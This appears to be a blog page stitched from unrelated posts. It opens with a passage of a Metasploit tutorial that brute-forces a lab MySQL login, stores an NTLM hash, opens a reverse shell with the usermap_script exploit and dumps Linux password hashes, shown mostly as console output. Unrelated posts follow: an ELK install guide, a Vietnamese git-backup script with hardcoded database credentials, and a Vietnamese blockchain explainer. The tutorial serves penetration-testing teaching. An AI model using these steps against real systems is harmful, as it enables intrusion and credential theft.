----  ----  ----  ----  ----  -------

[*] Found 0 credentials.

As with ‘db_nmap‘ command, successful results relating to credentials will be automatically saved to our active workspace. Let’s run the auxiliary module ‘mysql_login‘ and see what happens when Metasploit scans our server.

msf  auxiliary(mysql_login) > run

[*] 172.16.194.172:3306 MYSQL - Found remote MySQL version 5.0.51a
[*] 172.16.194.172:3306 MYSQL - [1/2] - Trying username:'root' with password:''
[*] 172.16.194.172:3306 - SUCCESSFUL LOGIN 'root' : ''
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed


msf  auxiliary(mysql_login) > creds 

Credentials
===========

host            port  user  pass  type      active?
----            ----  ----  ----  ----      -------
172.16.194.172  3306  root        password  true

[*] Found 1 credential.
msf  auxiliary(mysql_login) >

We can see the module was able to connect to our mysql server, and because of this Metasploit saved the credentials in our database automatically for future reference.

During post-exploitation of a host, gathering user credentials is an important activity in order to further penetrate a target network. As we gather sets of credentials, we can add them to our database with the ‘creds -a’ command.

msf > creds -a 172.16.194.134 -p 445 -u Administrator -P 7bf4f254b222bb24aad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e:::
[*] Time: 2012-06-20 20:31:42 UTC Credential: host=172.16.194.134 port=445 proto=tcp sname= type=password user=Administrator pass=7bf4f254b222bb24aad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e::: active=true

msf > creds

Credentials
===========

host            port  user           pass                                                                  type      active?
----            ----  ----           ----                                                                  ----      -------
172.16.194.134  445   Administrator  7bf4f254b222bb24aad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e:::  password  true

[*] Found 1 credential.


Loot

Once you’ve compromised a system (or three), one of the objective may be to retrieve hash dumps. From either a Windows or *nix system. In the event of a successful hash dump, this information will be stored in our database. We can view this dumps using the ‘loot’ command. As with almost every command, adding the ‘-h’ switch will display a little more information.

msf > loot -h
Usage: loot
 Info: loot [-h] [addr1 addr2 ...] [-t <type1,type2>]
  Add: loot -f [fname] -i [info] -a [addr1 addr2 ...] [-t [type]
  Del: loot -d [addr1 addr2 ...]

  -a,--add          Add loot to the list of addresses, instead of listing
  -d,--delete       Delete *all* loot matching host and type
  -f,--file         File with contents of the loot to add
  -i,--info         Info of the loot to add
  -t <type1,type2>  Search for a list of types
  -h,--help         Show this help information
  -S,--search       Search string to filter by

Here’s an example of how one would populate the database with some ‘loot’.

msf  exploit(usermap_script) > exploit

[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 4uGPYOrars5OojdL;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "4uGPYOrars5OojdL\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (172.16.194.163:4444 -> 172.16.194.172:55138) at 2012-06-27 19:38:54 -0400

^Z
Background session 1? [y/N]  y

msf  exploit(usermap_script) > use post/linux/gather/hashdump
msf  post(hashdump) > show options

Module options (post/linux/gather/hashdump):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  1                yes       The session to run this module on.

msf  post(hashdump) > sessions -l

Active sessions
===============

  Id  Type        Information  Connection
  --  ----        -----------  ----------
  1   shell unix               172.16.194.163:4444 -> 172.16.194.172:55138 (172.16.194.172)

msf  post(hashdump) > run

[+] root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:0:0:root:/root:/bin/bash
[+] sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:3:3:sys:/dev:/bin/sh
[+] klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:103:104::/home/klog:/bin/false
[+] msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
[+] postgres:$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
[+] user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:1001:1001:just a user,111,,:/home/user:/bin/bash
[+] service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:1002:1002:,,,:/home/service:/bin/bash
[+] Unshadowed Password File: /root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.hashes_264208.txt
[*] Post module execution completed



msf  post(hashdump) > loot

Loot
====

host            service  type          name                   content     info                            path
----            -------  ----          ----                   -------     ----                            ----
172.16.194.172           linux.hashes  unshadowed_passwd.pwd  text/plain  Linux Unshadowed Password File  /root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.hashes_264208.txt
172.16.194.172           linux.passwd  passwd.tx              text/plain  Linux Passwd File               /root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.passwd_953644.txt
172.16.194.172           linux.shadow  shadow.tx              text/plain  Linux Password Shadow File      /root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.shadow_492948.txt

Install Elasticsearch, Logstash, and Kibana (ELK Stack) on CentOS/RHEL 7

 Uncategorized  Comments Off on Install Elasticsearch, Logstash, and Kibana (ELK Stack) on CentOS/RHEL 7
May 052018
 
rpm --import https://artifacts.elastic.co/GPG-KEY-elasticsearch

/etc/yum.repos.d/elasticsearch.repo

[elasticsearch-6.x]
name=Elasticsearch repository for 6.x packages
baseurl=https://artifacts.elastic.co/packages/6.x/yum
gpgcheck=1
gpgkey=https://artifacts.elastic.co/GPG-KEY-elasticsearch
enabled=1
autorefresh=1
type=rpm-md

yum install elasticsearch

config 
curl -X GET http://localhost:9200

Logstash

rpm --import https://artifacts.elastic.co/GPG-KEY-elasticsearch

cat << EOF > /etc/yum.repos.d/logstash.repo
[logstash-6.x]
name=Elastic repository for 6.x packages
baseurl=https://artifacts.elastic.co/packages/6.x/yum
gpgcheck=1
gpgkey=https://artifacts.elastic.co/GPG-KEY-elasticsearch
enabled=1
autorefresh=1
type=rpm-md
EOF
yum install logstash

Install Kibana 

rpm --import https://artifacts.elastic.co/GPG-KEY-elasticsearch

cat <<EOF > /etc/yum.repos.d/kibana.repo
[kibana-6.x]
name=Kibana repository for 6.x packages
baseurl=https://artifacts.elastic.co/packages/6.x/yum
gpgcheck=1
gpgkey=https://artifacts.elastic.co/GPG-KEY-elasticsearch
enabled=1
autorefresh=1
type=rpm-md
EOF

yum install kibana









		

Tự động backup dữ liệu, mã nguồn lên git

 Linux  Comments Off on Tự động backup dữ liệu, mã nguồn lên git
Feb 022018
 

Chào các bạn,

Công việc hàng ngày backup cơ sở dữ liệu, mã nguồn khá mất công. Tôi thử viết một đoạn sau để thực hiện backup dữ liệu mã mã nguồn của tôi lên git. Các bạn tham khảo đoạn code sau:

#!/bin/bash

# Database credentials
user=”asianux_user”
password=”asianux”
host=”localhost”
db_name=”db”

# Other options
backup_path=”/home/asianux/db”
date=$(date +”%d-%b-%Y”)

# Set default file permissions
umask 177

# Dump database into SQL file
mysqldump –user=$user –password=$password –host=$host $db_name > $backup_path/$db_name-$date.sql

# Delete files older than 30 days
find $backup_path/* -mtime +30 -exec rm {} \;

# Push to git backup code and db
sleep 10
cd /var/asianux
git add .
git commit -m “Auto Commit Asianux”
git push origin master
echo “Backup code and db finish! Goodluck”

Sau đó bạn thiết lập chạy crontab để chạy tự động.

Blockchain là gì?

 BlockChain  Comments Off on Blockchain là gì?
Feb 022018
 

1. Mô hình tính toán mạng lưới, tổ chức kiểu phi tập trung, các nút mạng nối nhau từng nhóm
2. Với dữ liệu ghi chép kiểu sổ cái, lưu phân tán, đồng bộ liên tục nhờ cơ chế đồng thuận
3. Được đảm bảo an ninh bằng hàm băm mật mã, chữ ký số và cấu trúc lưu trữ móc xích các khối dữ liệu.

. Blockchain có tính chất không thể đảo ngược vì dữ liệu chỉ ghi thêm mà không sửa, không xoá.

. Blockchain có tính bền vững cao về dữ liệu lưu, khi số nút mạng đủ nhiều và liên tục bổ sung.

. Blockchain luôn online, luôn sẵn sàng vì các node gần như không bao giờ tắt đồng thời. Hệ thống có nhiều điểm truy cập, không có nút cổ chai.

. Blockchain có tính minh bạch cao vì dữ liệu lưu khắp nơi và bất kỳ nút mạng nào cũng có thể xem toàn bộ sổ.

. Blockchain khó bị tấn công nhờ:

1. Sử dụng chữ ký số bảo vệ giao dịch
=> không thể giả mạo hay sửa đổi giao dịch.

2. Sử dụng các cơ chế lưu trữ kiểu móc xích
=> đảo ngược dữ liệu là bất khả thi

3. Đòi hỏi TỐN TÀI NGUYÊN trong quá trình tạo các khối dữ liệu block. (PoW, PoS, PoI, PoA)
=> chi phí tấn công là quá lớn và độ khó kỹ thuật quá cao.

. Blockchain dễ bị quá tải nếu số nút mạng chưa đủ nhiều hoặc lượng dữ liệu cần đồng bộ trên mỗi giao dịch lớn.

. Blockchain có thể bị chi phối, điều khiển tập trung nếu có một bên nào đó giữ quyền cấp phép tham gia mạng hoặc sở hữu phần lớn tài nguyên tính toán trên mạng.

. Vì có nhiều nút nối mạng, tốc độ đồng bộ thông tin các nút mạng quyết định tốc độ blockchain. Mỗi giao dịch thường cần tối thiểu vài phút để nó được lan toả toàn mạng và xác nhận.

. Quá tải và băng thông thấp là hiệu ứng sẽ xảy ra trên blockchain khi số giao dịch thực hiện đồng thời và số nút mạng cần đồng bộ/đồng thuận đủ lớn.